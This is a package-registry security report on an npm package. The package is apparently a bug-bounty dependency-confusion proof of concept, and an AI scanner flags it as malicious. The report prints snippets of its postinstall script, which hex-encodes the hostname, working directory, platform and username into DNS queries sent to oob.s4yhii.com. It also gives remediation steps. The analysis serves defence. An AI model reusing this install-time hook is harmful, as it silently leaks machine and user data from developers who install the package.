registry / Data exfiltration / @galicia-toolkit/spa-build-config / 999.0.3

@galicia-toolkit/spa-build-config@999.0.3

Security research — dependency confusion PoC (authorized bug bounty, Banco Galicia program)

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 14d ago · by lpm-firewall-ai

The automatic postinstall hook exfiltrates environment details through DNS queries to an external domain. This is concrete install-time data exfiltration, so publication should be blocked.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation invokes the package's postinstall script.

Impact

Installation discloses machine and user context to an external domain.

Mechanism

The hook hex-encodes local environment details and places them in DNS query names.

Attack narrative

During package installation, postinstall.js sends DNS queries whose names contain encoded host, working-directory, platform, and user context. The package configures this as an automatic postinstall hook.

AI rationale

The automatic postinstall hook exfiltrates environment details through DNS queries to an external domain. This is concrete install-time data exfiltration, so publication should be blocked.

Evidence

package.jsonpostinstall.js

Network endpoints1

oob.s4yhii.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs postinstall.js automatically during installation.
postinstall.js encodes the hostname, working directory, platform details, and user environment value into DNS query names sent to oob.s4yhii.com.
index.js exports an empty object; the install hook is the active behavior.

Evidence against

The runtime entrypoint index.js contains no behavior beyond exporting an empty object.

Behavioral surface

Source

EnvironmentVars

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 2 file(s), 978 B of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js || true" } }

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const pkg = require("./package.json"); L4: L5: const tag = pkg.name.replace(/[@/]/g, "").slice(-8); L6: const h = Buffer.from(os.hostname()).toString("hex").slice(0, 40); L7: const c = Buffer.from(process.cwd()).toString("hex").slice(0, 50); ... L18: // Also try user context via env L19: const u = (process.env.USER || process.env.USERNAME || process.env.LOGNAME || "unknown"); L20: const uh = Buffer.from(u).toString("hex").slice(0, 40);

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

postinstall.jsView on unpkg · L1

•Trigger-reachable chain: scripts.postinstall -> postinstall.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg

10// DNS beacons — each one is a separate query to oob.s4yhii.com // Label 1: hostname dns.resolve(h + "." + tag + ".h.dc.oob.s4yhii.com", () => {}); // Label 2: working directory dns.resolve(c.slice(0,60) + "." + tag + ".c.dc.oob.s4yhii.com", () => {}); // Label 3: platform info dns.resolve(meta + "." + tag + ".m.dc.oob.s4yhii.com", () => {}); // Also

High

Suspicious Lifecycle Evidence

postinstall.js encodes the hostname, working directory, platform details, and user environment value into DNS query names sent to oob.s4yhii.com.

postinstall.jsView on unpkg · L10

18// Also try user context via env const u = (process.env.USER || process.env.USERNAME || process.env.LOGNAME || "unknown"); const uh = Buffer.from(u).toString("hex").slice(0, 40); dns.resolve(uh + "." + tag + ".u.dc.oob.s

High

Suspicious Lifecycle Evidence

index.js exports an empty object; the install hook is the active behavior.

postinstall.jsView on unpkg · L18

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js || true" } }

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

2 Critical4 High3 Medium2 Low

CriticalDns Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to @galicia-toolkit/spa-build-config@999.0.3.

See all versions of @galicia-toolkit/spa-build-config for other recorded verdicts.

Avoid installing @galicia-toolkit/spa-build-config@999.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 06:00:06.272Z (UTC).

Source advisory published: 2026-10-08 15:19:04.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

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Other data exfiltration packages

Related packages

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Other data exfiltration packages

Source & flagged code